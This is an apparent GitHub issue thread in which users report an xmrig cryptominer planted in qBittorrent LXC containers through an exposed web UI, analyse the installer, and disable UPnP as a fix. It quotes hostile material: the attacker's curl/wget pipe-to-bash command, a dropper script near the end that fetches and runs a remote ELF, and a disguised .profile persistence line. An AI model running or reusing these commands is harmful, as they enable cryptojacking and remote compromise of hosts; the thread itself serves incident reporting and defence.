miner xmrig in qbittorrent

[g0dsha]

I found out today that the CT qBittorent is loading the processor, find the miner inside. qBittorent installed a month ago. Outside, access is closed, I'm scratching my head where it came from. If anyone else is using it, check it.
Tasks: 18 total, 1 running, 17 sleeping, 0 stopped, 0 zombie
%Cpu(s): 35.1 us, 2.5 sy, 29.8 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.4 si, 0.0 st
MiB Mem : 1024.0 total, 29.7 free, 353.3 used, 641.1 buff/cache
MiB Swap: 512.0 total, 442.5 free, 69.5 used. 670.7 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
28332 root 30 10 317764 265400 0 S 87.0 25.3 19,41 xmrig
root@qbittorrent:# ps -feww | grep xmrig
root 28332 1 0 Aug22 ? 19:23:50 /root/.c3pool/xmrig --config=/root/.c3pool/config_background.json
root@qbittorrent:# ls /root/.c3pool/ -l
-rw-r--r-- 1 root root 0 Aug 22 17:29 .profile
-rw-r--r-- 1 root root 2580 Aug 22 17:29 config.json
-rw-r--r-- 1 root root 3786 Aug 22 17:34 config_background.json
-rwxr-xr-x 1 root root 276 Aug 22 17:29 miner.sh
-rwxr-xr-x 1 root root 2934708 Jul 7 18:04 xmrig
-rw-r--r-- 1 root root 495332 Aug 23 17:50 xmrig.log

[g0dsha]

The main issue is that qbittorrent exposes the port 8080 to the interntet automaticaly via uPnP.

And an attacker put this in the qbittorrent settings (Run external program on torrent completition)
bash -c "(curl -s -L http:///update.sh || wget -O - http:///update.sh) | bash"

So yeaaahh..... Please dont expose the 8080 port to the internet and disable uPnP. This feauture should be opt in not default.

https://forum.qbittorrent.org/viewtopic.php?t=10979

[tteck]

Can anything be scripted to halt the worm script's execution? Alternatively, should the qBittorrent LXC be taken out of this repository?

[tteck]

This script appears to be designed to set up and run a cryptocurrency mining program, specifically the Monero (XMR) miner called "xmrig," likely for the C3Pool mining pool. It's quite extensive and performs a series of actions to ensure the miner is properly downloaded, configured, and run on the system.

Here's a breakdown of what the script is doing:

1. The script begins with a shebang (#!/bin/bash), indicating that it should be executed using the Bash shell.

2. It defines a variable WALLET which seems to contain a cryptocurrency wallet address.

3. The script sets the PORT variable to 15555.

4. It exports a custom PATH to include additional directories (/bin, /usr/bin, etc.).

5. There's a block that attempts to determine the user's home directory and sets it as HOME. It checks if HOME is empty, and if so, it assigns it based on the user's privileges and user name.

6. The script ensures that the user's home directory exists and creates it if not.

7. It sets up SSH keys, specifically adding an RSA public key to the authorized_keys file.

8. A function called __curl is defined. This function is used to perform a simple HTTP GET request and read the response.

9. The script stops and disables any previous instances of the c3pool_miner.service and xmrig.service.

10. It clears any iptables rules (firewall rules).

11. It removes various directories and files related to the c3pool and xmrig miners, presumably to clean up any previous installations.

12. It downloads an advanced version of the xmrig miner from a specific URL and unpacks it to $HOME/.c3pool.

13. The script checks if the downloaded xmrig binary is functional. If not, it attempts to download the latest version of the stock xmrig miner and unpacks it.

14. The script modifies the config.json file for the miner, setting parameters such as donation level, mining URL, wallet address, and other settings.

15. It creates a script named miner.sh in the $HOME/.c3pool directory that checks if the miner is already running and starts it if not.

16. If the user has sudo privileges and the system has enough memory, it enables huge pages for improved performance.

17. The script appends a command to the user's .profile file to automatically start the miner in the background when the user logs in.

18. The script sends system information (IP, hostname, etc.) to a remote server.

19. It modifies SSH settings to allow root login via SSH key authentication.

20. The script ends.

In summary, this script automates the setup of the Monero (XMR) mining software "xmrig" for the C3Pool mining pool. It handles downloading, configuring, and running the miner, and also performs some system configuration changes for optimal mining performance.

[tteck]

Removed qBittorrent LXC from this repository

• Potential Unauthorized Mining: If this script is executed on a system without the user's consent or knowledge, it could be considered unauthorized mining, also known as "cryptojacking." Unauthorized mining can slow down the system, consume resources, and lead to increased electricity costs.

• Potential Downloading from Untrusted Sources: The script downloads files from external sources, including URLs like "cdnsrv.in." Relying on external sources for software can be risky, as they might be compromised or deliver malicious payloads.

• Potential Modifying System Settings: The script modifies firewall rules, SSH settings, and potentially other system configurations. Altering system settings without proper understanding or consent can lead to security vulnerabilities or unexpected behavior.

• Potential Running as Root: The script uses sudo and makes changes as the root user. Giving root privileges to a script without a clear understanding of its actions can be risky, as it can potentially compromise the entire system.

• Potential for Harm: Although the script seems to be related to mining, its behaviors and external dependencies might change over time. This could result in unexpected actions that could be detrimental to the system or user's privacy.

• Potential Risk of Malicious Updates: The script downloads and installs software from external sources. If these sources are compromised, they could deliver malicious updates or trojanized versions of the mining software.

[tteck]

Until the vulnerability is addressed.

[carlreid]

Well they also left the default password, and left UPnP enabled on the router so not sure what is expected 🤷 Could be worth checking the other torrent clients if they do something similar.

Guess one option could be added to the install script of the LCX to disable the UPnP by default with something like: sed -i 's/WebUI\\UseUPnP=true/WebUI\\UseUPnP=false/' /.config/qBittorrent/qBittorrent.conf. Though not sure what your policy is on tweaking away from the general defaults.

Though I think it's great that you pulled it so quickly in any case 👍

[tteck]

That's a fantastic suggestion. While I don't personally utilize qBittorrent, I'll install it to examine its configuration and determine if it can be made more secure. If successful, I'll consider reintroducing the LXC.

[carlreid]

It should work. Though ensure that the qbittorrent-nox.service is stopped

[tteck]

Added back to the repository with UPnP disabled and password changed. 🤞🏻

[marcusdoc]

So if someone finds code at
ls /root/.c3pool/ -a

then one is has the miner ... correct?

I have a LXC qbtorrent v4.5.4 using ubuntu (manually installed; no folder .c3pool seen at /root using the -a flag)
and I turned off UPnP by default as it is a well known security problem
https://www.grc.com/unpnp/unpnp.htm (windows)

[Denzy7]

I suffered the same attack just today. it put his in ~/.profile
/home/admin/.local/.share/systemd-logind --config=/home/admin/.local/.share/config_background.json >/dev/null 2>&1 &

in ~/.local/.cache/systemd-udevd is the script that downloads miner

#!/bin/bash
if [ "$(pidof systemd-networkd | wc -w)" -lt "2" ]; then
    mkdir -p ~/.local/.cache
    curl -s4 -L https://files.catbox.moe/fdo5or.elf -o /home/admin/.local/.cache/systemd-networkd
    chmod a+x /home/admin/.local/.cache/systemd-networkd
    /home/admin/.local/.cache/systemd-networkd
    sleep 5
    rm /home/admin/.local/.cache/systemd-networkd
fi

i can provide content of /home/admin/.local/.share if anyone wants as it has an actual wallet address